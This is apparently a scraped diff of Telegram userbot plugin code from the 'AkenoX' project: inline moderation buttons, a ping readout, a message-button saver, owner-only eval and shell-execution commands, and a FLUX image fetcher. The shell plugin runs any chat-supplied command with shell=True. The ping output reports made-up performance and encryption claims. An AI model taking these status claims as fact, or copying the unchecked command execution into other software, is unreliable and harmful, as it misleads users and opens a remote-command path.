results=response_status
|
| 301 |
+
)
|
| 302 |
+
|
| 303 |
+
@RENDYDEV.inline(regex="^unbanby_")
|
| 304 |
+
async def unban_inline(client, inline_query):
|
| 305 |
+
data = user_inline(inline_query, access="_")
|
| 306 |
+
user_id = int(data[1])
|
| 307 |
+
length_max = await db_client.set_env(f"USER_BAN_BY:{user_id}")
|
| 308 |
+
bttn = [
|
| 309 |
+
[
|
| 310 |
+
InlineKeyboardButton("🔘 Unban", callback_data=f"unban_{length_max['chat_id']}_{length_max['unban_id']}"),
|
| 311 |
+
],
|
| 312 |
+
]
|
| 313 |
+
answers = BuilderInline.send_text_inline(
|
| 314 |
+
inline_text=length_max.get('input_text'),
|
| 315 |
+
reply_markup=InlineKeyboardMarkup(bttn)
|
| 316 |
+
)
|
| 317 |
+
try:
|
| 318 |
+
await client.answer_inline_query(
|
| 319 |
+
inline_query.id,
|
| 320 |
+
results=answers,
|
| 321 |
+
cache_time=10
|
| 322 |
+
),
|
| 323 |
+
except Exception as e:
|
| 324 |
+
LOGS.info(f"Query ID: {inline_query.id}: {e}")
|
| 325 |
+
|
| 326 |
+
@RENDYDEV.inline(regex="^muteby_")
|
| 327 |
+
async def unmute_inline(client, inline_query):
|
| 328 |
+
data = user_inline(inline_query, access="_")
|
| 329 |
+
user_id = int(data[1])
|
| 330 |
+
length_max = await db_client.get_env(f"USER_MUTE_BY:{user_id}")
|
| 331 |
+
bttn = [
|
| 332 |
+
[
|
| 333 |
+
InlineKeyboardButton("🔘 Unmute", callback_data=f"unmute_{length_max['chat_id']}_{length_max['unmute_id']}"),
|
| 334 |
+
],
|
| 335 |
+
]
|
| 336 |
+
answers = BuilderInline.send_text_inline(
|
| 337 |
+
inline_text=length_max.get('input_text'),
|
| 338 |
+
reply_markup=InlineKeyboardMarkup(bttn)
|
| 339 |
+
)
|
| 340 |
+
try:
|
| 341 |
+
await client.answer_inline_query(
|
| 342 |
+
inline_query.id,
|
| 343 |
+
results=answers,
|
| 344 |
+
cache_time=10
|
| 345 |
+
),
|
| 346 |
+
except Exception as e:
|
| 347 |
+
LOGS.info(f"Query ID: {inline_query.id}: {e}")
|
| 348 |
+
|
| 349 |
+
@RENDYDEV.inline(regex="^pinby_")
|
| 350 |
+
async def pinned_inline(client, inline_query):
|
| 351 |
+
data = user_inline(inline_query, access="_")
|
| 352 |
+
user_id = int(data[1])
|
| 353 |
+
length_max = await db_client.get_env(f"USER_PIN_BY:{user_id}")
|
| 354 |
+
bttn = [
|
| 355 |
+
[
|
| 356 |
+
InlineKeyboardButton("Pinned Message", url=f"{length_max['pinned_link']}"),
|
| 357 |
+
],
|
| 358 |
+
]
|
| 359 |
+
answers = BuilderInline.send_text_inline(
|
| 360 |
+
inline_text=length_max.get('input_text'),
|
| 361 |
+
reply_markup=InlineKeyboardMarkup(bttn)
|
| 362 |
+
)
|
| 363 |
+
try:
|
| 364 |
+
await client.answer_inline_query(
|
| 365 |
+
inline_query.id,
|
| 366 |
+
results=answers,
|
| 367 |
+
cache_time=10
|
| 368 |
+
),
|
| 369 |
+
except Exception as e:
|
| 370 |
+
LOGS.info(f"Query ID: {inline_query.id}: {e}")
|
| 371 |
+
|
| 372 |
+
@RENDYDEV.inline(regex="ping")
|
| 373 |
+
async def ping_inline(client, inline_query):
|
| 374 |
+
user_id = inline_query.from_user.id
|
| 375 |
+
length_max = inline_query_max.get(user_id)
|
| 376 |
+
start = dt.now()
|
| 377 |
+
ping = (dt.now() - start).microseconds / 1000
|
| 378 |
+
antipm = await db_client.get_env("PMPERMIT")
|
| 379 |
+
reply_markup = InlineKeyboardMarkup(
|
| 380 |
+
[
|
| 381 |
+
[
|
| 382 |
+
InlineKeyboardButton(
|
| 383 |
+
text="Close",
|
| 384 |
+
callback_data=f"close_{int(length_max['chat_id'])}_{int(length_max['message_id'])}"
|
| 385 |
+
)
|
| 386 |
+
]
|
| 387 |
+
]
|
| 388 |
+
)
|
| 389 |
+
user = RENDYDEV.client_me().me
|
| 390 |
+
setting_ = "Enabled" if antipm else "Disabled"
|
| 391 |
+
if RENDYDEV.client_me().me.is_premium:
|
| 392 |
+
msg = f"""
|
| 393 |
+
<b>ㅤㅤㅤㅤㅤㅤㅤㅤ-Inline X+ Plus</b>
|
| 394 |
+
<b>Status :</b> <i>Ultra Diamond</i>
|
| 395 |
+
<b>dc_id:</b> <code>{user.dc_id}</code>
|
| 396 |
+
<b>ping_dc:</b> <code>{ping}</code>
|
| 397 |
+
<b>booster:</b> <code>Mode extreme</code>
|
| 398 |
+
<b>libso:</b>: <code>high-performance</code>
|
| 399 |
+
<b>cipher_encrypt:</b> <code>Yes</code>
|
| 400 |
+
<b>pmpermit:</b> <code>{setting_}</code>
|
| 401 |
+
<b>status premium:</b> <code>{user.is_premium}</code>
|
| 402 |
+
<b>cython C/C++:</b> <code>{Cython.__version__}</code>
|
| 403 |
+
<b>Uptime:</b> <code>{str(dt.now() - dt.now()).split('.')[0]}</code>
|
| 404 |
+
"""
|
| 405 |
+
else:
|
| 406 |
+
msg = f"""
|
| 407 |
+
<b>ㅤㅤㅤㅤㅤㅤㅤㅤ-Inline X+ Plus</b>
|
| 408 |
+
<b>Status:</b> <i>PRO</i>
|
| 409 |
+
<b>dc_id:</b> <code>{user.dc_id}</code>
|
| 410 |
+
<b>ping_dc:</b> <code>{ping}</code>
|
| 411 |
+
<b>booster:</b> <code>Mode Extreme</code>
|
| 412 |
+
<b>libso:</b>: <code>High-Performance</code>
|
| 413 |
+
<b>cipher_encrypt:</b> <code>Yes</code>
|
| 414 |
+
<b>pmpermit:</b> <code>{setting_}</code>
|
| 415 |
+
<b>status premium:</b> <code>{user.is_premium}</code>
|
| 416 |
+
<b>cython C/C++:</b> <code>{Cython.__version__}</code>
|
| 417 |
+
<b>Uptime:</b> <code>{str(dt.now() - dt.now()).split('.')[0]}</code>
|
| 418 |
+
"""
|
| 419 |
+
answers = BuilderInline.send_text_inline(
|
| 420 |
+
inline_text=msg,
|
| 421 |
+
reply_markup=reply_markup
|
| 422 |
+
)
|
| 423 |
+
try:
|
| 424 |
+
await client.answer_inline_query(
|
| 425 |
+
inline_query.id,
|
| 426 |
+
results=answers,
|
| 427 |
+
cache_time=10
|
| 428 |
+
),
|
| 429 |
+
except Exception as e:
|
| 430 |
+
LOGS.info(f"Query ID: {inline_query.id}: {e}")
|
| 431 |
+
|
| 432 |
+
@RENDYDEV.inline(updates=True)
|
| 433 |
+
@inline_wrapper
|
| 434 |
+
async def inline_query_handler(client: Client, query):
|
| 435 |
+
try:
|
| 436 |
+
text = query.query.strip().lower()
|
| 437 |
+
string_given = query.query.lower()
|
| 438 |
+
answers = []
|
| 439 |
+
if text.strip() == "":
|
| 440 |
+
return
|
| 441 |
+
elif string_given.startswith("helper"):
|
| 442 |
+
answers = await help_function(answers)
|
| 443 |
+
await client.answer_inline_query(query.id, results=answers, cache_time=10)
|
| 444 |
+
except Exception as e:
|
| 445 |
+
e = traceback.format_exc()
|
| 446 |
+
LOGS.info(e)
|
AkenoX/plugins/buttons.py
ADDED
|
@@ -0,0 +1,131 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python
|
| 2 |
+
# -*- coding: utf-8 -*-
|
| 3 |
+
# Credits @xpushz on telegram
|
| 4 |
+
# Copyright 2020-2024 (c) Randy W @xtdevs, @xtsea on telegram
|
| 5 |
+
#
|
| 6 |
+
# from : https://github.com/TeamKillerX
|
| 7 |
+
# Channel : @RendyProjects
|
| 8 |
+
# This program is free software: you can redistribute it and/or modify
|
| 9 |
+
# it under the terms of the GNU Affero General Public License as published by
|
| 10 |
+
# the Free Software Foundation, either version 3 of the License, or
|
| 11 |
+
# (at your option) any later version.
|
| 12 |
+
|
| 13 |
+
# This program is distributed in the hope that it will be useful,
|
| 14 |
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
| 15 |
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
| 16 |
+
# GNU Affero General Public License for more details.
|
| 17 |
+
#
|
| 18 |
+
# You should have received a copy of the GNU Affero General Public License
|
| 19 |
+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
| 20 |
+
|
| 21 |
+
import asyncio
|
| 22 |
+
import os
|
| 23 |
+
import time
|
| 24 |
+
from typing import TYPE_CHECKING
|
| 25 |
+
|
| 26 |
+
from pyrogram import *
|
| 27 |
+
from pyrogram.errors import *
|
| 28 |
+
from pyrogram.types import *
|
| 29 |
+
|
| 30 |
+
from AkenoX import *
|
| 31 |
+
from AkenoX.core.database import *
|
| 32 |
+
from AkenoX.core.helper_button import *
|
| 33 |
+
from AkenoX.core.logger import LOGS
|
| 34 |
+
from AkenoX.core.upload_file import *
|
| 35 |
+
|
| 36 |
+
from . import ReplyCheck
|
| 37 |
+
|
| 38 |
+
if TYPE_CHECKING:
|
| 39 |
+
from AkenoX import assistant
|
| 40 |
+
|
| 41 |
+
@RENDYDEV.user(prefix=["rmbutton"], filters=(filters.me & ~filters.forwarded))
|
| 42 |
+
async def clear_button_from_db(client, message):
|
| 43 |
+
try:
|
| 44 |
+
me_user_id = RENDYDEV.client_me().me.id
|
| 45 |
+
await db_client.set_env(f"USERAUTO2:{me_user_id}", None)
|
| 46 |
+
await message.reply_text("Successfully delete button from database")
|
| 47 |
+
except Exception as e:
|
| 48 |
+
await message.reply_text(str(e))
|
| 49 |
+
|
| 50 |
+
@RENDYDEV.user(prefix=["send"], filters=(filters.me & ~filters.forwarded))
|
| 51 |
+
async def _save_message(client: assistant, message: Message):
|
| 52 |
+
args = message.text.split("\n", 1)
|
| 53 |
+
text = args[0].split(None, 1)[1] if len(args[0].split()) > 1 else None
|
| 54 |
+
button_text = args[1].strip() if len(args) > 1 else None
|
| 55 |
+
|
| 56 |
+
if not RENDYDEV.client_me().me.username:
|
| 57 |
+
return await message.reply_text("Username required")
|
| 58 |
+
|
| 59 |
+
reply_message = message.reply_to_message
|
| 60 |
+
if reply_message:
|
| 61 |
+
text = reply_message.text.html if reply_message.text else reply_message.caption.html if reply_message.caption else ""
|
| 62 |
+
else:
|
| 63 |
+
text = text or ""
|
| 64 |
+
|
| 65 |
+
chat_id = None
|
| 66 |
+
if button_text.startswith("@"):
|
| 67 |
+
chat_id = button_text
|
| 68 |
+
else:
|
| 69 |
+
chat_id = message.chat.id
|
| 70 |
+
|
| 71 |
+
reply_markup = None
|
| 72 |
+
if message.reply_to_message and message.reply_to_message.reply_markup:
|
| 73 |
+
reply_markup = message.reply_to_message.reply_markup
|
| 74 |
+
else:
|
| 75 |
+
try:
|
| 76 |
+
reply_markup = parse_buttons(button_text)
|
| 77 |
+
except AttributeError:
|
| 78 |
+
reply_markup = None
|
| 79 |
+
|
| 80 |
+
serialized_reply_markup = (
|
| 81 |
+
serialize_reply_markup(reply_markup) if reply_markup else None
|
| 82 |
+
)
|
| 83 |
+
me_user_id = RENDYDEV.client_me().me.id
|
| 84 |
+
media_type, file_id = None, None
|
| 85 |
+
if reply_message:
|
| 86 |
+
if reply_message.sticker:
|
| 87 |
+
media_type = "sticker"
|
| 88 |
+
file_id = reply_message.sticker.file_id
|
| 89 |
+
elif reply_message.photo:
|
| 90 |
+
media_type = "photo"
|
| 91 |
+
file_id = (await assistant.send_photo(RENDYDEV.client_me().me.username, await reply_message.download())).photo.file_id
|
| 92 |
+
elif reply_message.video:
|
| 93 |
+
media_type = "video"
|
| 94 |
+
file_id = (await assistant.send_video(RENDYDEV.client_me().me.username, await reply_message.download())).video.file_id
|
| 95 |
+
elif reply_message.animation:
|
| 96 |
+
media_type = "animation"
|
| 97 |
+
file_id = (await assistant.send_animation(RENDYDEV.client_me().me.username, await reply_message.download())).animation.file_id
|
| 98 |
+
elif reply_message.story:
|
| 99 |
+
media = await reply_message.download()
|
| 100 |
+
if media.endswith(".jpg"):
|
| 101 |
+
media_type = "photo"
|
| 102 |
+
file_id = (await assistant.send_photo(RENDYDEV.client_me().me.username, media)).photo.file_id
|
| 103 |
+
else:
|
| 104 |
+
media_type = "video"
|
| 105 |
+
file_id = (await assistant.send_video(RENDYDEV.client_me().me.username, media)).video.file_id
|
| 106 |
+
|
| 107 |
+
save_data = RENDYDEV.set_storage(
|
| 108 |
+
file_id=file_id or "",
|
| 109 |
+
caption=text,
|
| 110 |
+
media_photo=media_type == "photo",
|
| 111 |
+
is_sticker=media_type == "sticker",
|
| 112 |
+
is_animation=media_type == "animation",
|
| 113 |
+
media_video=media_type == "video",
|
| 114 |
+
media_audio=False,
|
| 115 |
+
input_text=text if not media_type else "",
|
| 116 |
+
reply_markup=serialized_reply_markup,
|
| 117 |
+
)
|
| 118 |
+
await db_client.set_env(f"USERAUTO2:{me_user_id}", save_data)
|
| 119 |
+
try:
|
| 120 |
+
bot_username = (await assistant.get_me()).username
|
| 121 |
+
inline = await RENDYDEV.client_me().get_inline_bot_results(
|
| 122 |
+
bot=bot_username, query=f"userauto:{me_user_id}"
|
| 123 |
+
)
|
| 124 |
+
await RENDYDEV.client_me().send_inline_bot_result(
|
| 125 |
+
chat_id,
|
| 126 |
+
inline.query_id,
|
| 127 |
+
inline.results[0].id,
|
| 128 |
+
reply_to_message_id=ReplyCheck(message),
|
| 129 |
+
)
|
| 130 |
+
except Exception as e:
|
| 131 |
+
LOGS.info(str(e))
|
AkenoX/plugins/eval.py
ADDED
|
@@ -0,0 +1,227 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python
|
| 2 |
+
# -*- coding: utf-8 -*-
|
| 3 |
+
# Credits @xpushz on telegram
|
| 4 |
+
# Copyright 2020-2024 (c) Randy W @xtdevs, @xtsea on telegram
|
| 5 |
+
#
|
| 6 |
+
# from : https://github.com/TeamKillerX
|
| 7 |
+
# Channel : @RendyProjects
|
| 8 |
+
# This program is free software: you can redistribute it and/or modify
|
| 9 |
+
# it under the terms of the GNU Affero General Public License as published by
|
| 10 |
+
# the Free Software Foundation, either version 3 of the License, or
|
| 11 |
+
# (at your option) any later version.
|
| 12 |
+
|
| 13 |
+
# This program is distributed in the hope that it will be useful,
|
| 14 |
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
| 15 |
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
| 16 |
+
# GNU Affero General Public License for more details.
|
| 17 |
+
#
|
| 18 |
+
# You should have received a copy of the GNU Affero General Public License
|
| 19 |
+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
| 20 |
+
|
| 21 |
+
import asyncio
|
| 22 |
+
import inspect
|
| 23 |
+
import io
|
| 24 |
+
import logging
|
| 25 |
+
import os
|
| 26 |
+
import re
|
| 27 |
+
import subprocess
|
| 28 |
+
import sys
|
| 29 |
+
import traceback
|
| 30 |
+
import uuid
|
| 31 |
+
from asyncio import sleep
|
| 32 |
+
from contextlib import suppress
|
| 33 |
+
from io import BytesIO, StringIO
|
| 34 |
+
from random import randint
|
| 35 |
+
from typing import Optional
|
| 36 |
+
|
| 37 |
+
import aiohttp
|
| 38 |
+
import akenoai as at
|
| 39 |
+
import pyrogram
|
| 40 |
+
import requests
|
| 41 |
+
from box import Box
|
| 42 |
+
from meval import meval
|
| 43 |
+
from pyrogram import *
|
| 44 |
+
from pyrogram.enums import *
|
| 45 |
+
from pyrogram.raw import *
|
| 46 |
+
from pyrogram.raw.types import *
|
| 47 |
+
from pyrogram.types import *
|
| 48 |
+
|
| 49 |
+
from AkenoX import *
|
| 50 |
+
from AkenoX import running_tasks
|
| 51 |
+
from AkenoX.core.database import *
|
| 52 |
+
from AkenoX.core.logger import *
|
| 53 |
+
|
| 54 |
+
|
| 55 |
+
@RENDYDEV.user(
|
| 56 |
+
prefix=["ev"],
|
| 57 |
+
filters=(
|
| 58 |
+
~filters.scheduled
|
| 59 |
+
& filters.me
|
| 60 |
+
& ~filters.forwarded
|
| 61 |
+
),
|
| 62 |
+
is_run=False
|
| 63 |
+
)
|
| 64 |
+
async def evaluation_cmd(client, message):
|
| 65 |
+
global running_tasks
|
| 66 |
+
user_id = message.from_user.id if message.from_user else None
|
| 67 |
+
task_id = uuid.uuid4().hex[:8]
|
| 68 |
+
status_message = await message.reply("__Processing eval pyrogram...__")
|
| 69 |
+
try:
|
| 70 |
+
cmd = message.text.split(" ", maxsplit=1)[1]
|
| 71 |
+
except IndexError:
|
| 72 |
+
return await status_message.edit("__No evaluate message!__")
|
| 73 |
+
|
| 74 |
+
async def execute_eval():
|
| 75 |
+
old_stderr = sys.stderr
|
| 76 |
+
old_stdout = sys.stdout
|
| 77 |
+
redirected_output = sys.stdout = io.StringIO()
|
| 78 |
+
redirected_error = sys.stderr = io.StringIO()
|
| 79 |
+
stdout, stderr, exc = None, None, None
|
| 80 |
+
variables = {
|
| 81 |
+
"client": client,
|
| 82 |
+
"pyrogram": pyrogram,
|
| 83 |
+
"c": client,
|
| 84 |
+
"m": message,
|
| 85 |
+
"message": message,
|
| 86 |
+
"r": message.reply_to_message,
|
| 87 |
+
"chat": message.chat.id if message.chat else None,
|
| 88 |
+
"user": message.from_user,
|
| 89 |
+
"to_video": message.reply_video,
|
| 90 |
+
"to_photo": message.reply_photo,
|
| 91 |
+
"to_text": message.reply_text,
|
| 92 |
+
"types": pyrogram.types,
|
| 93 |
+
"raw_types": pyrogram.raw.types,
|
| 94 |
+
"raw": pyrogram.raw,
|
| 95 |
+
"assistant": assistant,
|
| 96 |
+
"rendydev": RENDYDEV,
|
| 97 |
+
"libso": inspect.getsource,
|
| 98 |
+
"uhelp": help,
|
| 99 |
+
"to_obj": Box,
|
| 100 |
+
"db_client": db_client,
|
| 101 |
+
"os": os,
|
| 102 |
+
"lsopen": os.popen,
|
| 103 |
+
"fasthttp": requests
|
| 104 |
+
}
|
| 105 |
+
try:
|
| 106 |
+
result = await meval(cmd, globals(), **variables)
|
| 107 |
+
except asyncio.CancelledError:
|
| 108 |
+
await status_message.edit("__Task was cancelled!__")
|
| 109 |
+
return
|
| 110 |
+
except Exception:
|
| 111 |
+
exc = traceback.format_exc()
|
| 112 |
+
finally:
|
| 113 |
+
stdout = redirected_output.getvalue().strip()
|
| 114 |
+
stderr = redirected_error.getvalue().strip()
|
| 115 |
+
sys.stdout = old_stdout
|
| 116 |
+
sys.stderr = old_stderr
|
| 117 |
+
|
| 118 |
+
evaluation = exc or stderr or str(result) or "Success"
|
| 119 |
+
final_output = f"**OUTPUT**:\n<pre language=''>{evaluation.strip()}</pre>"
|
| 120 |
+
eval_data = {
|
| 121 |
+
"input_text": evaluation.strip(),
|
| 122 |
+
"chat_id": message.chat.id if message.chat else None,
|
| 123 |
+
"message_id": message.id + 2,
|
| 124 |
+
}
|
| 125 |
+
await db_client.set_env(f"EVAL:{client.me.id}", eval_data)
|
| 126 |
+
if len(final_output) > 4096:
|
| 127 |
+
with open("eval.txt", "w+", encoding="utf8") as out_file:
|
| 128 |
+
out_file.write(final_output)
|
| 129 |
+
await status_message.reply_document(
|
| 130 |
+
document="eval.txt",
|
| 131 |
+
disable_notification=True,
|
| 132 |
+
)
|
| 133 |
+
os.remove("eval.txt")
|
| 134 |
+
else:
|
| 135 |
+
bot_username = (await assistant.get_me()).username
|
| 136 |
+
try:
|
| 137 |
+
inline = await client.get_inline_bot_results(bot=bot_username, query=f"eval_{client.me.id}")
|
| 138 |
+
await asyncio.gather(
|
| 139 |
+
status_message.delete(),
|
| 140 |
+
client.send_inline_bot_result(
|
| 141 |
+
message.chat.id,
|
| 142 |
+
inline.query_id,
|
| 143 |
+
inline.results[0].id,
|
| 144 |
+
reply_to_message_id=ReplyCheck(message)
|
| 145 |
+
)
|
| 146 |
+
)
|
| 147 |
+
except Exception as e:
|
| 148 |
+
await status_message.edit_text(str(e))
|
| 149 |
+
|
| 150 |
+
task = asyncio.create_task(execute_eval())
|
| 151 |
+
running_tasks[task_id] = task
|
| 152 |
+
await status_message.edit_text(f" Task Started \nTask ID: `{task_id}`")
|
| 153 |
+
try:
|
| 154 |
+
await task
|
| 155 |
+
finally:
|
| 156 |
+
running_tasks.pop(task_id, None)
|
| 157 |
+
|
| 158 |
+
import subprocess
|
| 159 |
+
|
| 160 |
+
|
| 161 |
+
@RENDYDEV.user(
|
| 162 |
+
prefix=["sh"],
|
| 163 |
+
filters=(
|
| 164 |
+
~filters.scheduled
|
| 165 |
+
& filters.me
|
| 166 |
+
& ~filters.forwarded
|
| 167 |
+
),
|
| 168 |
+
is_run=False
|
| 169 |
+
)
|
| 170 |
+
async def shell_cmd(client, message):
|
| 171 |
+
global running_tasks
|
| 172 |
+
user_id = message.from_user.id if message.from_user else None
|
| 173 |
+
task_id = uuid.uuid4().hex[:8]
|
| 174 |
+
status_message = await message.reply("__Processing shell command...__")
|
| 175 |
+
|
| 176 |
+
try:
|
| 177 |
+
cmd = message.text.split(" ", maxsplit=1)[1]
|
| 178 |
+
except IndexError:
|
| 179 |
+
return await status_message.edit("__No command provided!__")
|
| 180 |
+
|
| 181 |
+
async def execute_shell():
|
| 182 |
+
process = subprocess.Popen(
|
| 183 |
+
cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE
|
| 184 |
+
)
|
| 185 |
+
stdout, stderr = process.communicate()
|
| 186 |
+
output = (stdout.decode().strip() or stderr.decode().strip() or "Success")
|
| 187 |
+
|
| 188 |
+
final_output = f"**OUTPUT**:\n<pre language=''>{output}</pre>"
|
| 189 |
+
|
| 190 |
+
# Store in DB for inline retrieval
|
| 191 |
+
await db_client.set_env(f"SH:{client.me.id}", {
|
| 192 |
+
"input_text": output,
|
| 193 |
+
"chat_id": message.chat.id,
|
| 194 |
+
"message_id": message.id + 2,
|
| 195 |
+
})
|
| 196 |
+
|
| 197 |
+
if len(final_output) > 4096:
|
| 198 |
+
with open("shell_output.txt", "w+", encoding="utf8") as out_file:
|
| 199 |
+
out_file.write(final_output)
|
| 200 |
+
await status_message.reply_document(
|
| 201 |
+
document="shell_output.txt",
|
| 202 |
+
disable_notification=True,
|
| 203 |
+
)
|
| 204 |
+
os.remove("shell_output.txt")
|
| 205 |
+
else:
|
| 206 |
+
bot_username = (await assistant.get_me()).username
|
| 207 |
+
try:
|
| 208 |
+
inline = await client.get_inline_bot_results(bot=bot_username, query=f"sh_{client.me.id}")
|
| 209 |
+
await asyncio.gather(
|
| 210 |
+
status_message.delete(),
|
| 211 |
+
client.send_inline_bot_result(
|
| 212 |
+
message.chat.id,
|
| 213 |
+
inline.query_id,
|
| 214 |
+
inline.results[0].id,
|
| 215 |
+
reply_to_message_id=ReplyCheck(message)
|
| 216 |
+
)
|
| 217 |
+
)
|
| 218 |
+
except Exception as e:
|
| 219 |
+
await status_message.edit_text(str(e))
|
| 220 |
+
|
| 221 |
+
task = asyncio.create_task(execute_shell())
|
| 222 |
+
running_tasks[task_id] = task
|
| 223 |
+
await status_message.edit_text(f"**Task Started**\nTask ID: `{task_id}`")
|
| 224 |
+
try:
|
| 225 |
+
await task
|
| 226 |
+
finally:
|
| 227 |
+
running_tasks.pop(task_id, None)
|
AkenoX/plugins/flux.py
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from pyrogram import filters
|
| 2 |
+
from AkenoX import * # Make sure this is correctly defined
|
| 3 |
+
import aiohttp
|
| 4 |
+
import io
|
| 5 |
+
from config import api_key
|
| 6 |
+
|
| 7 |
+
# Function to fetch raw image data from FLUX API
|
| 8 |
+
async def fetch_image_from_flux(question):
|
| 9 |
+
url = "https://randydev-ryu-js.hf.space/api/v1/flux/black-forest-labs/flux-1-schnell" # FLUX API endpoint
|
| 10 |
+
headers = {"x-api-key": api_key}
|
| 11 |
+
params = {"query": question} # Pass query as a parameter
|
| 12 |
+
|
| 13 |
+
async with aiohttp.ClientSession() as session:
|
| 14 |
+
async with session.get(url, headers=headers, params=params) as response:
|
| 15 |
+
if response.status == 200:
|
| 16 |
+
return await response.read() # Return raw image data
|
| 17 |
+
else:
|
| 18 |
+
return None
|
| 19 |
+
|
| 20 |
+
# Command handler for flux
|
| 21 |
+
@RENDYDEV.user(prefix=["flux"], filters=(filters.me & ~filters.forwarded))
|
| 22 |
+
async def flux_command(client, message):
|
| 23 |
+
if len(message.command) < 2:
|
| 24 |
+
await message.reply_text("Exᴀᴍᴘʟᴇ ᴜsᴀɢᴇ: flux [your query]")
|
| 25 |
+
return
|
| 26 |
+
|
| 27 |
+
question = " ".join(message.command[1:]) # Extract the query
|
| 28 |
+
image_data = await fetch_image_from_flux(question)
|
| 29 |
+
|
| 30 |
+
if image_data:
|
| 31 |
+
image_stream = io.BytesIO(image_data)
|
| 32 |
+
image_stream.name = "flux_result.jpg" # Set filename
|
| 33 |
+
await message.reply_photo(photo=image_stream, caption="Here is your generated image")
|
| 34 |
+
else:
|
| 35 |
+
await message.reply_text("Failed to fetch image from FLUX API.")
|
AkenoX/plugins/helper/PyroHelpers.py
ADDED
|
@@ -0,0 +1,66 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
